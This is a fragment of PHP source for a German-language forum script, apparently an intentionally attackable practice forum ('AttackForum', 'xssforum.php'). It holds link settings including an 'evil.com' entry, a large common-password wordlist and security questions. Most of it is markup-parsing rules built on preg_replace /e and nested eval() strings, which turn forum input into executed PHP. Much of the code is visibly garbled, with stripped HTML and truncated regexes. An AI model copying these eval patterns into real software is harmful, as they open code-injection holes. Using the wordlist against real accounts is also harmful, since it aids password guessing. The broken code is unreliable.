'http://example.com', '_glink_' => 'http://bing.de#/bing.html', '_elink_' => 'http://evil.com#/evil.html', '_flink_' => 'http://get.adobe.com/de/flashplayer/', '_nlink_' => 'http://nyan-cat.com/nyan-cat-fly.swf', '_clink_' => 'http://placekitten.com#/placekitten.php', '_hlink_' => 'http://heise.de/security/#/security.html', '_blink_' => 'http://mengelke.de/uploads/Projekte/AttackForum/banner.gif', '_ylink_' => 'http://youtube.com/embed/XYME7SJi4R8?&autoplay=1#/rickrolling.html',// DLzxrzFCyOs, (Y1g2Cx03L2I) '_bnlink_' => false, // $self/bnps.js '_jsleak_' => "location.pathname", // "'http://localhost/xssforum.php'" '_charlist_' => 'abcdefghijklmnopqrstuvwxyz', '_wordlist_' => preg_replace(array('/^\s+|\s+$/','/\s+/'),array('',' '),'12 23 42 69 96 pi *** 000 007 123 666 abc bob bot car cat cia fbi gay god jim guy pie nsa sex **** 0000 1111 1234 baby ball bike boss dick chef gott fuck ipad ipod jack john kitt lexy love mike nike pass sexy shit test tits xbox ***** 00000 12345 54321 67890 09876 admin adobe alarm angel apple buffy bundy chick elvis hallo hello jesus kitty motor nokia pussy robot spike ****** 000000 111111 123123 123456 53cr37 654321 666666 696969 abc123 access andrew ashley azerty bailey batman beetle biteme buddha buster cherry daniel dragon ficken fuckme geheim george guitar hallo1 harley hockey hunter iphone jordan joshua killer lovely master mobile monkey nicole qaywsx qazwsx police qwerty qwertz ranger robert schatz secret shadow soccer summer thomas sweaty tigger 1234567 asshole beatles bigbobs bigdick bond007 charlie demo123 ferrari freedom fucking fuckoff fuckyou ironman jessica lesbian letmein michael mustang nirvana pass123 patrick pokemon samsung test123 testing walmart welcome ******** 12345678 1q2w3e4r 1qay2wsx 1qaz2wsx babydoll babygirl baseball butthead cencored computer football fussball hallo123 harddisk iloveyou jennifer kennwort kittycat lacrosse michelle mohammed p455w0rd passw0rd password passwort princess pussycat startrek starwars sunshine superman trustno1 usbdrive zensiert 123456789 1qa2ws3ed adminpass arschloch asdfghjkl cellphone metallica microsoft password1 passwort1 raspberry schalke04 spiderman swordfish webmaster 1234567890 lockerroom sexmachine uncencored sagichnicht administrator')); # Sicherheitsfragen wenn das Kennwort vergessen wurde (Die Fragen sind aus der Praxis - Etwas umformuliert) $pass = array(" Bitte Wählen...", "Was steht auf der Unterseite Ihrer Maus?", "Wie war Ihr erstes Kennwort?", "Wie hieß Ihr Haustier in Ihrer Kindheit?", "Wie heißt Ihr Lieblingsbuch?", "Wo haben sich Ihre Eltern kennengelernt?", "Wie heißt Ihr Lieblingsfilm?", "In welcher Strasse sind Sie aufgewachsen?", "Wie heißt Ihr Lieblingslied?", "Welchen Strand haben Sie zuerst betreten?", "Wie hieß Ihr erster Vorgesetzter?", "Wie hieß Ihr Stofftier in Ihrer Kindheit?", "Was war der Beruf Ihres Großvaters?", "Wo haben Sie Ihren Partner kennen gelernt?", "Mit wem tranken Sie Ihr erstes Bier?", "Wie hieß Ihr erstes gekauftest Musikalbum?", "Wie war der Mädchenname Ihrer Mutter?", "Wie hieß Ihr Bester Freund in Ihrer Kindheit?", "Wie hieß Ihr erster Film ab 18 Jahren?", "Wie hieß die Stadt, in der Sie geboren wurden?", "Wie heißt Ihre Lieblingssportmannschaft?", "Wie sind die letzten 4 Ziffern ihrer Kreditkarte?"); # Password-Hasher / HTML/ASCII entwerten / JavaScript komprimieren $hash = array('sha1','http://pajhome.org.uk/crypt/md5/2.2/sha1-min.js','sha1_vm_test','hex_sha1'); // sha1 mit PHP & JavaScript $html = array('&' => '&', '<' => '<', '>' => '>', '"' => '"', "'" => "'"); $uml = array('ä' => 'ä', 'ö' => 'ö', 'ü' => 'ü', 'ß' => 'ß', 'Ä' => 'Ä', 'Ö' => 'Ö', 'Ü' => 'Ü'); // ' ' => ' ' $js = '/(? 'SX5JX5ET7NYKTUHIA87AP57LZ76IOPL1Z9I1LOKG8WRKQUEVRJ136LQCQYRJR6E4HV0DEBXWX5143JJID1TAZ3MXMWNHZIVGPH0' // Prime 1024 Bit .'VM87M06SUKH7707G1AEHK7OROB95TYSDN0DDC6OJVC4HC47OSEKUDBSIVUP0TSIYGAQPTBXRXBSPQOMENCNLSY8T3ZAA2D8ASGN',// in Base 36 'main' => false, // Globale Constante für den Diffie-Hellman Schlüsseltausch (false für Automatisch Generieren) 'base' => 36, // Basiswert der Zahlen (2-36) 'crypt' => array( // Verschiedene Scripte zur Verschlüsselung 'int' => 'http://peterolson.github.io/BigInteger.js/BigInteger.min.js', // http://silentmatt.com/biginteger/ 'aes' => 'http://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js',// http://code.google.com/p/crypto-js/#AES )); # Forum-Formatierungen $creole = array( '/(~?)\\\\x([89a-f][\da-f])|[$ ]|&(?!#?x?[\w-]+;)|(? # Zeichen Entwerten & \x1f ('"&#".ord("$0").";"',) '("$0" == "~ ") ? " " : (("$2") ? (("$1") ? substr("$0",1) : chr(hexdec("$2"))) : strtr(htmlentities("$0"),array("$" => "$")))', '/(~?)(?:\<|<){3}(\w+)\s*(.*?)\s*(?:\>|>){3}/es' => # <<>> '("$1") ? strtr(substr(@"$0",1),array("<" => "<")) : ((isset($creoleph["$2"])) ? ((is_string($creoleph["$2"])) ? ((is_callable($creoleph["$2"])) ? $creoleph["$2"](@"$3") : $creoleph["$2"]) : preg_replace(array_keys($creoleph["$2"]),array_values($creoleph["$2"]),@"$3")) : (("$2" == "_") ? "" : @"$3"))', '/\{\{\{\s*((?:[^{}]++|\{(?1)\})*|.*?)\s*\}\}\}/es' => # {{{ Vorformatiert }}} '"
".preg_replace(array("/(?<=&)([gl])t(?=;)/e",
		"/\\\\\\\\\\\'|(&#?\w+;)|(?![\x80-\xff])[[:punct:]]|(?<=[a-z\d])[A-Z]/e","/\r?\n/"),array("((\"\\$1\" == \"l\") ? \"#60\"
		: \"#62\")","((\"\\$1\") ? \"\\$1\" : \"&#\".ord(substr(\"\\$0\",-1)).\";\")","
"),"$1")."
\r"', '/(?:<|<)(\w+)(?:>|>).*?(?:<|<)\/\1(?:>|>)/se' => # html-light '(($x = "$0" and $z = "\x5c") ? eval(\'while(preg_match(\\\'/(?:<|<)([bipqsu]|abbr|acronym|big|c(?:it|od)e|del|dfn|em|h[1-6]|ins' .'|kbd|pre|samp|small|str(?:ike|ong)|su[bp]|tt|var)(?:>|>)(.+?)(?:<|<)\/\\\\1(?:>|>)/s\\\',$x,$y,PREG_OFFSET_CAPTURE)) $x = substr($x,0,$y[0][1])."<_{$y[1][0]}>{$y[2][0]}<_/{$y[1][0]}>".substr($x,$y[0][1] + strlen($y[0][0])); return preg_replace("/(?<=<)_(?=\/?\w+>)|$z$z(?=[\\\'\"])/","",$x); \') : 0)', '/(?:&(?:amp;)?|\?)#(0*(?:1(?:2[89]|[3-9]\d)|[2-9]\d\d|\d{4,})|x0*(?:[89a-f][\da-f]|[\da-f]{3,}));|\\\\u(?:\{(?=(?:\w+)\}))?([\da-f]+)\}?/ei' => # ģ / \u123 '("$1") ? "&#$1;" : "&#x$2;"', '/(?:<|<)a\s[^>]*?href=\s*("|&\#39;|["\']?)((?:[^>&\s"\']|&(?!gt;))+)\1[^>]*?(?:>|>)\s*(.*?)\s*(?:<|<)\/a(?:>|>)/ie' => # text '\'\'.((\'$3\') ? \'$3\' : \'$2\').\'\'', '/(?:<|<)img[^>]*?src=\s*("|&\#39;|["\']?)((?:[^>\s&"\']|&(?!gt;))+)\1[^>]*?(?:>|>)/i' => # '$2', '/^$/' => '', # -> Hier kommen die Smilies & Forum-Erweiterungen hin! '/\[(\w+)[^\]]*\].*?\[\/\1\]/es' => # [bbcode=option]text[/bbcode] '(($x = "$0") ? eval(\'while(preg_match(\\\'/\[(\w+)(?:=([^\]]+))?\](.*?)\[\/\\\\1\]/s\\\',$x,$y,PREG_OFFSET_CAPTURE)) { $y = array($y[0],strtolower($y[1][0]),$y[2][0],$y[3][0]); if(preg_match("/^([ibus]|center)$/",$y[1])) { $z = array("b"=>"strong", "i"=>"em", "u"=>"ins", "s"=>"del", "center"=>"center"); $z = "<{$z[$y[1]]}>$y[3]"; } elseif($y[1] == "list" and preg_match("/^[1ia]?$/i",$y[2]) and strstr($y[3],"[*]")) $z = strtr(($y[2] == "") ? "" : (($y[2] == 1) ? "
    $y[3]
" : "
    $y[3]
"),array("[*]" => "
  • ")); elseif(preg_match("/left|right/",$y[1])) $z = "
    $y[3]
    "; elseif(preg_match("/^(font|color|size)$/",$y[1]) and preg_match("/^[\w#-]+$/",$y[2])) $z = "$y[3]"; elseif($y[1] == "code") $z = "
    "
    		.preg_replace("/(?![&#;<>=\"\/])[[:punct:]]/e","\"&#\".ord(\"\\$0\").\";\"",$y[3])."
    "; elseif($y[1] == "img") $z = "\"".basename($y[3])."\""; elseif(preg_match("/^(link|url)$/",$y[1])) $z = "".((trim($y[3])) ? trim($y[3]) : $y[2]).""; elseif($y[1] == "email") $z = "".preg_replace("/(?![&#;<>=\"\/])[[:punct:]]/e","\"&#\".ord(\"\\$0\").\";\"",$y[3]).""; elseif($y[1] == "quote") $z = "
    ".(($y[2] != "") ? "
    $y[2]
    " : "")."$y[3]
    "; elseif($y[1] == "audio" and preg_match("/^(aac|mp[ag1-4]|m4a|og[ga]|wav|pcm)(;js)?$/",$y[2],$z)) $z = preg_replace(((isset($z[2])) ? "/^(.*)$/es" : "/^$/"),"\"\"",""); elseif($y[1] == "video" and preg_match("/^(youtube|dailymotion|(mp4|ogg))(?:;(\d+)x(\d+))?(?:;(js|left|right))?$/",$y[2],$z) and (preg_match("/^\w+$/",$y[3]) or $z[2])) $z = ($z[2]) ? preg_replace(((isset($z[5])) ? "/^(.*)$/es" : "/^$/"), "\"\"", "") : ""; else $z = $y[3]; $x = substr($x,0,$y[0][1]).$z.substr($x,$y[0][1] + strlen($y[0][0])); } return $x; \') : 0)', '/\[\[\[((?:[^\[\]]++|\[(?1)\])*|.*?)\]\]\]/es' => # [[[ Pre-Linebreaks ]]] 'preg_replace(array("/\\\\\\\\\\\\\\\\\r?\n/","/\r?\n/","/~([^~])/e"),array("","
    ","\"&#\".ord(\"\$1\").\";\""),"$1")', '/(?<=^|\s)\/\*\s.*?\*\/(?=\s|$)|(? # /* Kommentar */ '', '/^(([ \t].*([\r\n]+|$))+)/em' => # Vorformatiert '"
    ".preg_replace(array("/\\\\\\\\x5c+(?=[\'\"])/","/~(&#?\w+;|[^~])/e","/\s*[\r\n]+/"),array("","\"&#\"
    		.ord(html_entity_decode(\"\\$1\")).\";\"","
    "),"$1")."
    "', '/\?\?\s*(\w+)(?:\s*([:=])\s*(.+?))?\s*\?\?/e' => /* ??key=val?? / ??key?? */ 'eval(\' return ($x = "$1" and $y = preg_replace("/\?(\w+)\??/e","((isset(\\\\$creolevar[\"_\$1\"])) ? \\\\$creolevar[\"_\$1\"] : \"\$0\")","$3")) ? (($creolevar["_$x"] = $y and "$2" == "=") ? "" : $y) : ((isset($creolevar["_$x"])) ? $creolevar["_$x"] : "");\')', '/(?<=^|[\r\n])(~?)((={1,6})=*(&(?:[gl]t|#6[02]);|[<^>]?)\s*(?:%(\w+)%)?\s*(.+?)[\s=]*?(\[\[#\w+\]\]|#)?(?:\r?\n|$))/e' => # =Titel= [[#anker]] '("$1") ? "$2" : ($x = (("$7" == "#") ? "[[#".preg_replace(array("/[^a-z\d]+/i","/^(?=\d+)/"),array("","al"),"$6")."]]" : "$7"))."/"), array("left","center","right")," align=\"$4\"") : "").(("$5") ? " class=\"$5\"" : "").">" .($y = preg_replace("/(<.*?>)|(?![~&#;])([!-\/:-@\[-`\{-~])/es","(\"\\$1\") ? \"\\$1\" : \"&#\".ord(\"\\$2\").\";\"","$6")) ."\r".(("$7" and $creolevar[".al"][substr($x,3,-2)] = $y) ? "" : "")', '/(? # @@Fest@@ '"".preg_replace(array("/\\\\\\\\x5c+(?=[\'\"])/","/~(&#?\w+;|[^~])/e"), array("","\"&#\".ord(html_entity_decode(\"\\$1\")).\";\""),"$1")." "', '/(? # --Klein-- '$1', '/(? # ~~Durchgestrichen~~ '$1', '/(? # __Unterstrichen__ '$1', '/(? # ##Druck## '$1', '/(? # ^^Hoch^^ '$1', '/(? # ,,Tief,, '$1', '/\*\*(?!\s)((?:[^\n]*?(? # **Fett** '$1', '/(?]?)\s*([+-]?)\s*(?:%(\w+)%\s*)?(:|;|https?:|\/)?([^#|}<>]+)(?:#(\d+)[x*.-](\d+)|[^|}]*?)?\s*(?:\|\s*([^|}]*)(?:\|([^}]+))?)?\s*(? # {{<>+-%class%Bild#width-height|Note|style}} 'preg_replace("/&(?!#?\w+;)/","&","\"$8\"/"),array("left","right")," align=\"$1\"") : "")." />")', '/(~|[&\#\w;]+(?|>|&\#62;)\s*)?(~?\(?(?:https?|ftp|mailto)?:|;|~?[\/\#])?([^|\]]+?)(?:\^([^|\]]+)\^)?(?:\s*\|\s*([^\]]+))?\s*\]\]((?:-?(?!-)[&\#\w;]+)+)?/e' => # pre[[%class%Link_~(url~)(?Versteckt)^Title^]]end / [[%class%Link^Title^|Text]] / [[%class% Text -> Link^Title^]] '("$1" == "~") ? substr(@"$0",1) : "$1$8" : (("$2" == "" and substr("$4",0,1) == "#") ? "class=\"anchor\" " : "")."href=\"".((substr("$4",0,1) == "~") ? (($x = preg_replace("/!!(.*?)!!/e","rawurlencode(\"\$1\")",substr("$4",1)."$5") and "$1$3$7$8") ? "$x\">$1$3$7$8" : "$x\">$x"): preg_replace(array("/(?:[\\\\\\\\x5c~]([(+~)])|([\s\x80-\xff]+))/e","/&(?!amp;)#?x?\w+;/e","/[()]/"), array("rawurlencode(\"\$1\$2\")","urlencode(html_entity_decode(\"\$0\",ENT_QUOTES))",""),(("$2$4" == "^") ? "$_SERVER[SCRIPT_NAME]/" : (("$4" == ":") ? "http://" : (("$4" == ";") ? "https://" : "$4")))."$5")."\"".">" .((($x = (("$3$7" && "$3$7" != "+") ? "$1$3$7$8" : "$1" .preg_replace("/(^(?=[^(]*\))|(?")', '/(? # ++Groß++ '$1', '/(? # //Kursiv// '$1', '/(?:^|(?<=[\r\n]))(~?)((?:[;:>]|>)(?:.*\r?\n(?=(?:[;:>\w]|>))|.*)+)/e' => /* # Definitionen */ '(@$x = strtr("$2",array("\\\'" => "\'"))) ? eval(\'if(!"$1" and preg_match_all("/(?<=^|\s|\W)([;:]+)\s*((?:.*?(?=[\s\W][;:]|$)|(?<=\w)[;:])+)[ \t]*/s", preg_replace(array("/(?<=^|\n)(>|>)+/e","/&(?!#?\w)/"),array("str_replace(array(\">\",\">\"),\":\",\"\$0\")","&"), $x),$ay)) { $x = ""; $z = 0; foreach($ay[2] as $k => $v) { $w = strlen($ay[1][$k]) - $z; $y = (substr($ay[1][$k],0,1) == ";") ? "t" : "d"; if($w > 0) { $u = 1; while($u++ < $w) { $x .= "
    "; $z++; }} elseif($w < 1) while($w++ < 1) { $x .= "
    "; $z--; } $x .= "".trim($v).""; } while($z--) $x .= ""; $x = "
    $x
    "; } return $x; \') : 0', '/(?:^|(?<=[\r\n]))(~?)((?:\*|#)+(?![*#\r\n]).+?)(?=\r?\n(?![*#])|$)[ \t]*(?![*#])/es' => /* # Auflistung */ '(@$x = strtr("$2",array("\\\'" => "\'"))) ? eval(\'if(!"$1" and preg_match_all("/^(\*+|#+)(?:([acdins])?(\d+)?(?<=\w)[*#])?\s*(.*?)\s*$/mi",preg_replace("/&(?!#?\w)/","&",$x),$ay)) { $x = ""; $z = array(); foreach($ay[4] as $k => $v) { $w = strlen($ay[1][$k]) - count($z); $y = (substr($ay[1][$k],0,1) == "*") ? "u" : "o"; if($w > 0) { $u = 1; while($u++ < $w) { $x .= "
    "; $z[] = "dl"; } $x .= "<{$y}l".(($ay[2][$k]) ? " type=\"".strtr($ay[2][$k], array("d" => "disc", "c" => "circle", "s" => "square", "n" => "none"))."\"" : "").">"; $z[] = $y."l"; } elseif($w < 0) while($w++ < 0) $x .= (($u = array_pop($z)) == "dl") ? "
    " : "
  • "; if(end($z) != $y."l") { $x .= (($u = array_pop($z)) == "dl") ? "<{$y}l>" : "<{$y}l>"; $z[] = $y."l"; } $x .= "$v"; } while($u = array_pop($z)) $x .= ($u == "dl") ? "" : "\r"; } return $x; \') : 0', '/(?<=^|[\r\n])(~?)(\|.*?)(?=\n(?!\|)|$)[ \t]*(?!\|)/es' => /* | Tabelle | */ '(@$x = strtr("$2",array("\\\'" => "\'"))) ? eval(\' if(!"$1" and preg_match_all("/^\|(.*?)\|?\s*$/m",preg_replace(array("/^\|[^=|\n]*\r?\n/","/&(?!#?\w)/"), array("","&"),$x),$ay)) { foreach($ay[1] as $k => $v) { $ay[0][$k] = preg_split("/(? $w) if($w != "") $x = $u; elseif($x >= 0 && $w == "") { $ay[3][$k][$x] = (isset($ay[3][$k][$x])) ? $ay[3][$k][$x] + 1 : 1; unset($ay[0][$k][$u]); }} if(count(array_unique($ay[2])) > 1 and $u = min($ay[2])) foreach($ay[0] as $k => $x) $ay[0][$k] = array_slice($x,0,$u); foreach($ay[0] as $k => $trow) { $ay[1][$k] = ""; foreach($trow as $x => $tcell) if(preg_match("/^(=?)([ \t]*)(.*?)([ \t]*)$/",$tcell,$v)) $ay[1][$k] .= "" .preg_replace(array("/~\|/","/^_$/","/(?"),$v[3]).""; $ay[1][$k] .= ""; } if(preg_match("/^\|\s*(&(?:[gl]t|#6[02]);|[<^>]?)\s*([-+])?\s*(?:%(\w+)%)?\s*(\d+%?)?\s*$/m","$2", $v)) $v[1] = ((isset($v[1]) and $v[1]) ? preg_replace(array("/<|&(lt|#60);/","/\^/","/&(gt|#62);|>/"), array("left","center","right")," align=\"$v[1]\"") : ""); return "".implode("",$ay[1])."
    "; } return $x; \') : 0', '/(~?)(?|>){2})/e' => /* <> */ '(@$x = array("$3",strtr("$4",array("\\\'" => "\'"))) and !"$1" and preg_match_all("/(?:(\w+)=)?(?:(\'|&(?:amp;)?(?:#34|#39|quot);)(.*?)(?= $x[2][1]) for($z=0;$z<$x[2][1];$z++) $x[5][$z] = (isset($y[6][$z])) ? $y[6][$z] : $y[7][$z]; } if(isset($x[2][1]) and is_int($x[2][1]) and !$x[2][1] and count($y[0]) or !isset($x[2])) { for($z=0;$z)((?:(?:s?ftp|http)s?:\/\/|(www\.))(?:[\w.-]+(?::[^\s@]+)@)?(?:\[[\da-f:]+\]|[\w.-]+)[\/?\#]?(?:[\w.\/:_?=&;\#%+-]*?(\.(?:bmp|bpg|gif|ico|jpe?g|jp?2k?|png|svg|webp))|[\w.\/:_?=&;\#%+-]*)|(?<=^|[~|^\s]|\\\\)((?:(?:[A-Z]+[a-z\d]+){2,8}|(?<=\^)\w+)(?:\#\w+)?)(?=\\\\|[\s,.!?~|]|$)|(?)/e' => # http://link / www.pic.jpg / mail@to.me / WikiLink '("$1"=="~") ? strtr("$2",array(":"=>":","@"=>"@")) : preg_replace("/&(?!amp;)/","&",(("$4") ? "\"$2\"" : "
    $2"))', '/(?<=^|\n)----\r?\n?/' => "
    \r", '/(~)?(\\\\{2})/e' => "('$1') ? '$2' : '
    \r'", '/\\\\\r?\n/' => "", '/[\r\n]+--([\r\n]+|$)/' => "
    \r", '/(\r?\n){3,}/' => "\r\n\r\n", '/(\r?\n){2}/' => "

    \r", ); $creoleph = array( // <<>> # Frühzeitige Erweiterungen mit eigenen Regulären Ausdrücken / Addons 'cms' => array('/^\s*(\w+)\s*(\+?)$/e' => '(isset($creolevar["type"]) and preg_match("/^(cms|feed)$/",$creolevar["type"])) ? preg_replace(array("/[$]/","/~(?=(<|<){3})/"),array("$",""), $sql["sq"]($conn,"select ".(("$2") ? "description" : "content")." from [cms] where name like \"$1\" and status/2%4 <= ".($status/2%2 + $status%2*2))) : ""'), 'comment'=> array('/.*/s' => ''), 'creole'=> array('/^([<^>]|&[lg]t;)?\s*(\d+%?)?\s*(@)?([+|-])?\s*(.+?)$/es' => '($x = array("$1","$2","$3","$4","$5", array("/(?<=&)([gl])t(?=;)/e","/\\\\\\\\\\\'|(&#?\w+;)|(?![\x80-\xff])[[:punct:]]|(?<=[a-z\d])[A-Z]/e","/\r?\n/", "/(\\\\\\\\\\\\\|\)n/"),array("((\"\\$1\"==\"l\")?\"#60\":\"#62\")","((\"\\$1\")?\"\\$1\":\"&#\" .ord(substr(\"\\$0\",-1)).\";\")","
    "," "), "\n<>\n", (!isset($head["creole"]) and $head["creole"]=\'\n'))) ? eval('".'$y = "/"),array("left","center","right")," align=`$x[0]`") : "") .(($x[1]) ? " width=`$x[1]`" : "")." border=`1` class=`crd`>"; foreach((($x[3] == "+") ? explode("\n",$x[4]) : array($x[4])) as $z) $y .= "
    "
    		.preg_replace($x[5],$x[6],$z)."
    ".(($x[3] == "-") ? "" : "").strtr($x[7],array("?" => (($x[2]) ? 1 : 0), "<>" => strtr($z,array("\\\\\\\\\n" => "\n")))); return strtr($y,array("`" => "\\\'"))."";\') : 0'), 'div' => array('/^([#.]?)(\w+)\s*(.*)/es' => '"
    $3
    "'), 'file' => array('/^(\d+)-(.+)$/e' => '($creolevar = array_merge($creolevar,(($x = $sql["aq"]($conn,"select f.id as upid, ' .'strftime(\"%s\",f.[create]) as uptime, f.status/2%2 as upstatus, f.status%2 as upright, u.username as upuser, ' .'f.name as upname, f.info as upinfo, abs(f.size) as upsize, f.hash as uphash, f.type as uptype from [file] as f ' .'left join [user] as u on u.id = f.user where f.user = $1 and f.name like \'$2\' and f.status is not null",SQLITE_ASSOC)) ? reset($x) : array()))) ? "" : ""'), 'hide' => array('/^([^|_\n]*)(\||_)?\s*(.+)$/es' => '\'
    \')' .'?($creolevar[".hc"]=1):(++$creolevar[".hc"]))).\'">

    ' .'$1 &\'.(($x=("$2"=="|"))?"r":"l").\'aquo;

    \''), 'sort' => array('/^([ir]+(?=\s))?\s*(.+)$/es' => '($x = array("$1","$2")) ? eval(\' $y = explode("\\n",$x[1]);if(preg_match("/i/",$x[0]))natcasesort($y);else natsort($y); if(preg_match("/r/",$x[0]))$y = array_reverse($y);return join("\n",$y);\') : 0'), 'unutf' => array('/[\xc0-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf]{2}|[\xf0-\xf7][\x80-\xbf]{3}|[\xf8-\xfb][\x80-\xbf]{4}|[\xfc-\xfd][\x80-\xbf]{5}|[\xfe][\x80-\xbf]{6}/e' => '($x = "$0") ? eval(\'for($y = ord($x{0}) % (1 << 7 - strlen($x)), $z = 1; $z < strlen($x); $z++) $y = $y * 64 + (ord($x{$z}) & 63); return "&#$y;";\') : 0',), 'toutf' => array('/[\xc0-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf]{2}|[\xf0-\xf7][\x80-\xbf]{3}|[\xf8-\xfb][\x80-\xbf]{4}|[\xfc-\xfd][\x80-\xbf]{5}|[\xfe][\x80-\xbf]{6}|([\x80-\xff])/e' => '($x = ord("$1") or $y = "$0") ? eval(\'if($x) { $y = ""; $z = 6; while($x >= 1 << $z and --$z) { $y = chr($x % 64 | 128).$y; $x = $x / 64 | 0; } $y = chr((1 << 7 - $z) -1 << ++$z | $x).$y; } return $y;\') : 0',), ); $creolepi = array( // <> # Späte Erweiterungen mit Parameter Übergabe ($z) / Addons 'comment'=>'0;', // Kommentar 'time' => 'time', // Timestamp ausgeben 'rot13' => array('str_rot13',0), // Rot 13 (de)kodieren 'lower' => array('strtolower',0), // Kleinschreiben 'upper' => array('strtoupper',0), // Grossschreiben 'ucword'=> array('ucwords',0), // Alle Erste Buchstaben gross 'ucfirst'=>array('ucfirst',0), // Erster Buchstabe Gross 'date' => array('date',array('fmt','time?')), // Time Formatiert ausgeben 'ftime' => array('strftime',array('fmt','time?')), // Time Formatiert ausgeben 'wordwrap'=>array('wordwrap',array('str','width','break?')),// Wortumbruch nach x Zeichen 'span' => array('return "$z[text]";',array('class','text')), 'style' => array('return "$z[text]";',array('style','text')), 'note' => array('$z = array_values($z); if(isset($z[0]) and preg_match("/^\w+$/",$z[0])) { $x = $z[0]; $y = (isset($z[1]))' .'? $z[1] : false;} else { $x = "note"; $y = (isset($z[0])) ? $z[0] : false; } $z = array($x);' .'$x = &$creolevar[".fn$z[0]"]; if($y) { if(isset($x[$y])) $z[1] = $x[$y]; else { $z[1] = count($x);' .'$x[$y] = $z[1]; } unset($x); return "[".($z[1]+1)."]"; } else {' .'$y = array(); foreach($x as $z[2] => $z[3]) $y[] = "
  • $z[2]"; $x = array(); unset($x); return' .'(count($y)) ? "
      ".implode("",$y)."
    " : ""; }',array('key?','src?')), 'font' => array('return "$z[text]";',array('text','color?','face?','size?')), 'anker' => array('$x = ""; if(isset($z["name"]) and isset($creolevar[".al"]) and count($creolevar[".al"])) {' .'foreach($creolevar[".al"] as $x => $y) $creolevar[".al"][$x] = "$y";' .'$x = (isset($z["type"]) and preg_match("/([1ai])|([cdns])/i",$z["type"],$x)) ? (($x[1]) ? "ol type=\"$x[1]\""' .': strtr("ul type=\"$x[2]\"",array("d" => "disc", "c" => "circle", "s" => "square", "n" => "none"))) : "ul";' .'if(isset($z["type"]) and preg_match("/o(r?)/",$z["type"],$y)) { natsort($creolevar[".al"]);' .'if(isset($y[1]) and $y[1]) $creolevar[".al"] = array_reverse($creolevar[".al"]); }' .'$y = array((isset($z["align"])) ? " align=\"$z[align]\"" : "",(isset($z["class"]))' .'? " class=\"$z[class]\"" : ""); $x = "
    $z[name]<$x$y[1]>
  • "' .'.implode("
  • ",$creolevar[".al"])."
  • ";' .'unset($creolevar[".al"]);} return $x;',array('name?','align?','type?','class?')), 'frame' => array('return ($creolevar["type"] == "cms") ? "" : $z["src"];',array('src','width','height','option?')), 'script'=> array('if($creolevar["type"] == "cms") { $y = "";' .'if(isset($z["head"]) and $z["head"]) $head[$z["head"]] = $y; else return $y; };',array('src','head?')), 'debug' => '$debug["<>"][] = array("x" => $x, "y" => $y, "z" => $z); if($z) return implode(" ",$z);', // 'eval' => array('eval',1), // That's evil and didn't work! ); # Tabellen Sortierlinks erstellen $sorth = array(array( '/\((.*?)\)/e', '/\{(.*?)\}/e', '/([^\t=]+)=(\d+)/e', '/(?<=^|\t)([^\t]+)(?=\t|$)/'),array( '($status/2%2) ? "$1" : ""', '($status%2) ? "$1" : ""', '" 0 and $2 == $sort) ? "-" : "")."$2\">$1"', '$1'), '/^([^;]+);(\d+)(?:;(.+))?$/e', "'\n\torder by '.((\$sort and abs(\$sort) <= \$2) ? abs(\$sort).((\$sort < 0 )? ' desc' : '').(('$3' != '') ? ',$3' : '') : '$1')"); # Fehlerhafte Formulare hervorheben $formcheck = array( '/\{(\w+)(?:,(\w+))?\|([^|]+)\|(\*?)(\d+)(?:\|(\d+))?(?:\|(\w+)=([^|}]+))?(?:\|(\w+)=([^|}]+))?\}/e', "''.((count(\$_POST) and (substr('$3',0,1) == '*' and isset(\$post) and (!isset(\$post['$1']) or '$2' and !(isset(\$post['$2']) and \$post['$1'] == \$post['$2'] and \$post['$1'] and \$post['$2'])))) ? '$3' : '$3').'
    '"); # Lange Suchergebnisse in Unterseiten einteilen (Paging) $paging = array(1,10,100,5,10,"/(\d+)\D+(\d+)[^<]+(.+)/e",'eval(\' // Paging Function ($num, $max, $link) $now = max(1,min(((preg_match("/^(\d+)/",$page[0],$val)) ? $val[1] : ceil($1/$2)),ceil($1/$2))); if($1 > $2 and $2 > 0) { $end = ceil($1/$2); $now = min(max(1,$now),$end); $line = array(1 => "1-$2", $now => (($now-1) * $2+1)."-".($now * $2), $end => (($end-1) * $2+1).((($end-1) * $2+1 < $1) ? "-$1 " : "")); $wrt = 1; while($wrt < $end) { for($a = 1; $a <= $paging[3]; $a++) if(($wrt * $a) <= $end) { if(($val = $now - $now % $wrt + $wrt * $a) < $end) $line[$val] = (($val-1) * $2+1)."-".($val * $2); if(($val = $now - $now % $wrt - $wrt * $a) > 0) $line[$val] = (($val-1) * $2+1)."-".($val * $2); } $wrt *= $paging[4]; } ksort($line); } else $line = array(1 => "1".(($1 > 1) ? "-$1 " : "" )); $val = ($page[0] != "," or ($1 - ($now-1) * $2) > $2) ? ($now-1) * $2 : max($1 - $2,0); $code = ($2 != $paging[1]) ? ",$2" : ""; foreach($line as $key => $var) { if(preg_match("/(\d+)-?(\d*)/",$var,$wrt)) $var = $wrt[1] .(($wrt[2] != "") ? " - ".$wrt[2] : ""); $line[$key] = ($key == $now) ? "$key" : strtr("$3",array("#key#" => $key, "#var#" => $var, "#max#" => $code)); } $code = ""; if(count($line) > 1) { if($now > 1) $code .= preg_replace("/>\d+<<<",$line[$now-1])." | "; $code .= implode(" | ",$line); if($now < ceil($1/$2)) $code .= " | ".preg_replace("/>\d+>><",$line[$now+1]); } return $code;\')'); # Per JavaScript Elemente verstecken/wiederherstellen $jshide = array('/^(\w+)([;,])(\d+)$/e','strtr(preg_replace($js,"",\' z = ("$2" == ",") ? ["none","block"] : ["block","none"]; document.getElementById("$1").style.display = (y = document.getElementById("$1").style.display == z[0]) ? z[1] : z[0]; document.cookie = "hide=" + ((x = document.cookie.match(/(^|\W)hide=(\w+)/)) ? (x[2] & 65535-(1<<$3)) + (1<<$3) * ((y) ? 0 : 1) : 1<<$3) + "; path=\'.$self.\'"; return false;\'),array("&" => "&"))'); # Grafikdaten $img = Array( 0 => 35, ':-)' => 182, ';-)' => 173, '8-|' => 205, ':;-(' => 185, ':;-D' => 192, ':;-|' => 179, ':;-?' => 183, 'B8-)' => 194, '8-Oo' => 190, ':;-Cc' => 203, ':;-Oo' => 193, ':;-Xx' => 193, ':;-Ppb' => 187,'~-~' => 975, 'ico' => 326, 1 => " 